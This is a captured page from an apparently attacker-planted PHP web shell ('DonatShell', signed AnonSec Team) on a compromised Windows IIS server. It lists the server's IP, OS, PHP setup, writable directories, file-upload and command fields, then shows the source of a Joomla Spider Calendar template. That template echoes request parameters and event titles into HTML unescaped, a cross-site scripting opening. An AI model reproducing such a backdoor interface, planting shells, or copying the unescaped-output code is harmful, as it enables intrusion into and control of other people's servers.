DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_spidercalendar/views/show_events/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_spidercalendar/views/show_events/tmpl/default.php
<?php
 
 /**
 * @package Spider Calendar
 * @author Web-Dorado
 * @copyright (C) 2011 Web-Dorado. All rights reserved.
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 **/

defined( '_JEXEC' ) or die( 'Restricted access' );

$task=JRequest::getVar('task');
switch($task)
{

case 'publish_event':
    	changeNote(1);
   		break;

   case 'unpublish_event':
    	changeNote(0);
    	break;		
case 'remove_event':
   	 	removeNote();
  		break;

}


		$session =& JFactory::getSession();
		$rows=$this->rows;
		$pageNav=$this->pageNav;
		$lists=$this->lists;
		$option=$this->option;
		$user =& JFactory::getUser();
		$module_id=JRequest::getVar( "module_id");
$calendar_id=JRequest::getVar( "calendar");

$calendar =& JTable::getInstance('spidercalendar_calendar', 'Table');
	// load the row from the db table

$calendar->load( $calendar_id);
$allow_publish=$calendar->allow_publish;
		
		JHTML::_('behavior.tooltip');	
		JHTML::_('behavior.calendar');
	?>



</style>	

<table>
	<tr>
		<td>
			<a href="index.php?option=com_spidercalendar&view=add_event&calendar=<?php echo JRequest::getVar('calendar'); ?>&module_id=<?php echo $module_id ?>">
			<button><?php echo JText::_('NEW_EVENT') ?></button>
			</a>
		</td>
		<td>
			<a  onclick="javascript:if(document.adminForm.boxchecked.value==0){alert('Please make a selection from the list to publish');}else{  submitbutton('publish_event')}" class="toolbar">
			<button><?php echo JText::_('PUBLISH_EVENT') ?></button>
			</a>
		</td>
		<td>	
			<a onclick="javascript:if(document.adminForm.boxchecked.value==0){alert('Please make a selection from the list to unpublish');}else{  submitbutton('unpublish_event')}" class="toolbar">
			<button><?php echo JText::_('UNPUBLISH_EVENT') ?></button>
			</a>	
		</td>
		<td>	
			<a  onclick="javascript:if(document.adminForm.boxchecked.value==0){alert('Please make a selection from the list to delete');}else{if(confirm('Are you sure you want to delete?')){submitbutton('remove_event');}}" class="toolbar">
			<button><?php echo JText::_('DELETE_EVENT') ?></button>
			</a>
		</td>
	</tr>
</table>


	<form action="index.php?option=com_spidercalendar&view=show_events&calendar=<?php echo JRequest::getVar('calendar'); ?>" method="post" name="adminForm" >
    
		<table>
		<tr>
			<td align="left" width="100%">

<?php echo JText::_( 'TITLE' ); ?>:
 <input type="text" name="search" value="<?php echo $lists['search'];?>"  class="text_area" onchange="document.adminForm.submit();" />      
 
 
 
  <?php echo JText::_( 'FROM' ); ?>:<input class="inputbox" type="text" name="startdate" id="startdate" size="10" maxlength="10" value="<?php echo $lists['startdate'];?>" /> 

<input type="reset" class="button" value="..."

onclick="return showCalendar('startdate','%Y-%m-%d');" />  <?php echo JText::_( 'TO' ); ?>:  <input class="inputbox" type="text" name="enddate" id="enddate" size="10" maxlength="10" value="<?php echo $lists['enddate'];?>" /> 

<input type="reset" class="button" value="..."

onclick="return showCalendar('enddate','%Y-%m-%d');" />

 
				<button onclick="this.form.submit();">
<?php echo JText::_( 'Go' ); ?></button>
				<button onclick="document.getElementById('search').value='';document.getElementById('startdate').value='';document.getElementById('enddate').value='';this.form.submit();">
<?php echo JText::_( 'Reset' ); ?></button>			</td>
		</tr>
		</table> 
    
        
    <table class="adminlist">
    <thead>
    	<tr>
        	<th width="20">
            <input type="checkbox" name="toggle"
 value="" onclick="checkAll(<?php echo count($rows)?>)">
            </th>
			 <th width="20" class="title"><?php echo JHTML::_('grid.sort',   'ID', 'id', @$lists['order_Dir'], @$lists['order'] ); ?></th>

			 <th width="250" nowrap="nowrap"><?php echo JHTML::_('grid.sort', JText::_( "TITLE" ), 'title', @$lists['order_Dir'], @$lists['order'] ); ?></th>

            <th width="80" nowrap="nowrap"><?php echo JHTML::_('grid.sort',   JText::_( "Date" ), 'date', @$lists['order_Dir'], @$lists['order'] ); ?></th>
           		 <th width="80" nowrap="nowrap"><?php echo JHTML::_('grid.sort',   JText::_( "TIME" ), 'time', @$lists['order_Dir'], @$lists['order'] ); ?></th>
       			<th width="20" nowrap="nowrap"><?php if($allow_publish==1) echo JHTML::_('grid.sort',   JText::_( "PUBLISHED" ), 'published',@$lists['order_Dir'], @$lists['order'] ); ?>
			</th>
			
        </tr>
    </thead>
	<tfoot align="center">
		<tr>
			<td colspan="11" style="text-align:center;">
			  
			 <?php  echo $pageNav->getListFooter(); ?>
			</td>
		</tr>
	</tfoot>
                
    <?php
	
    $k = 0;
	for($i=0, $n=count($rows); $i < $n ; $i++)
	{
			$row = &$rows[$i];
			$checked 	= JHTML::_('grid.id', $i, $row->id);
			$published 	= published($row, $i, 'event'); 
			// prepare link for id column
			$link 		= JRoute::_( 'index.php?option=com_spidercalendar&view=edit_event&calendar='.JRequest::getVar('calendar').'&module_id='.JRequest::getVar('module_id').'&cid[]='. $row->id );
			echo '<tr class="row'.$k.'">
        	<td>'.$checked.'</td>
			<td align="center"><a href="'.$link.'">'.$row->id.'</a></td>

			<td align="center"><a href="'.$link.'">'.$row->title.'</a></td>

			<td align="center">'.$row->date;
			
			if($row->date_end!="" and $row->date_end!='0000-00-00')
			echo "  -  ".$row->date_end."";
			
			echo '</td>
			<td align="center">'.$row->time.'</td>';
           if($allow_publish==1)
			echo'
			<td align="center">'.$published.'</td> ';           
        
		echo '</tr>';
$k = 1 - $k;
	}
	?>
    
    </table>
    <input type="hidden" name="option" value="com_spidercalendar">
    <input type="hidden" name="task" value="event">    
    <input type="hidden" name="boxchecked" value="0"> 
	<input type="hidden" name="filter_order" 
value="<?php echo $lists['order']; ?>" />
	<input type="hidden" name="filter_order_Dir" value="" />  
    <input type="hidden" name="calendar" value="<?php echo JRequest::getVar('calendar'); ?>" />  


    

    </form>
<?php
 
function published( &$row, $i, $task, $imgY = "tick.png", $imgX = 'publish_x.png', $prefix='' ){
        $img     = $row->published ? $imgY : $imgX;
        $task     = $row->published ? 'unpublish_'.$task : 'publish_'.$task;
        $alt     = $row->published ? JText::_( 'Published' ) : JText::_( 'Unpublished' );
        $action = $row->published ? JText::_( 'Unpublish Item' ) : JText::_( 'Publish item' );
 
        $href = '
        <a href="javascript:void(0);" onclick="return listItemTask(\'cb'. $i .'\',\''. $prefix.$task .'\')" title="'. $action .'">
        <img src="administrator/images/'. $img .'" border="0" alt="'. $alt .'" /></a>'
        ;
 
        return $href;
    
}

function changeNote( $state=0 )
{
  global $mainframe;

  // Initialize variables
  $db 	=& JFactory::getDBO();

  // define variable $cid from GET
  $cid = JRequest::getVar( 'cid' , array() , '' , 'array' );	
  JArrayHelper::toInteger($cid);

  // Check there is/are item that will be changed. 
  //If not, show the error.
  if (count( $cid ) < 1) {
    $action = $state ? 'publish' : 'unpublish';
    JError::raiseError(500, JText::_( 'Select an item 
    to' .$action, true ) );
  }

  // Prepare sql statement, if cid more than one, 
  // it will be "cid1, cid2, cid3, ..."
  $cids = implode( ',', $cid );

  $query = 'UPDATE #__spidercalendar_event'
  . ' SET published = ' . (int) $state
  . ' WHERE id IN ( '. $cids .' )'
  ;
  // Execute query
  $db->setQuery( $query );
  if (!$db->query()) {
    JError::raiseError(500, $db->getErrorMsg() );
  }

  if (count( $cid ) == 1) {
    $row =& JTable::getInstance('spidercalendar_event', 'Table');
    $row->checkin( intval( $cid[0] ) );
  }

  // After all, redirect to front page
  $mainframe->redirect( 'index.php?option=com_spidercalendar&view=show_events&calendar='.JRequest::getVar('calendar') );
}

function removeNote()
{

  global $mainframe;
  // Initialize variables	
  $db =& JFactory::getDBO();
  // Define cid array variable
  $cid = JRequest::getVar( 'cid' , array() , '' , 'array' );
  // Make sure cid array variable content integer format
  JArrayHelper::toInteger($cid);

  // If any item selected
  if (count( $cid )) {
    // Prepare sql statement, if cid array more than one, 
    // will be "cid1, cid2, ..."
    $cids = implode( ',', $cid );
    // Create sql statement
    $query = 'DELETE FROM #__spidercalendar_event'
    . ' WHERE id IN ( '. $cids .' )'
    ;
    // Execute query
    $db->setQuery( $query );
    if (!$db->query()) {
      echo "<script> alert('".$db->getErrorMsg(true)."'); 
      window.history.go(-1); </script>\n";
    }
  }

  // After all, redirect again to frontpage
  $mainframe->redirect( "index.php?option=com_spidercalendar&view=show_events&calendar=".JRequest::getVar('calendar') );
}

?>   
 
 
   
   

Anon7 - 2022
AnonSec Team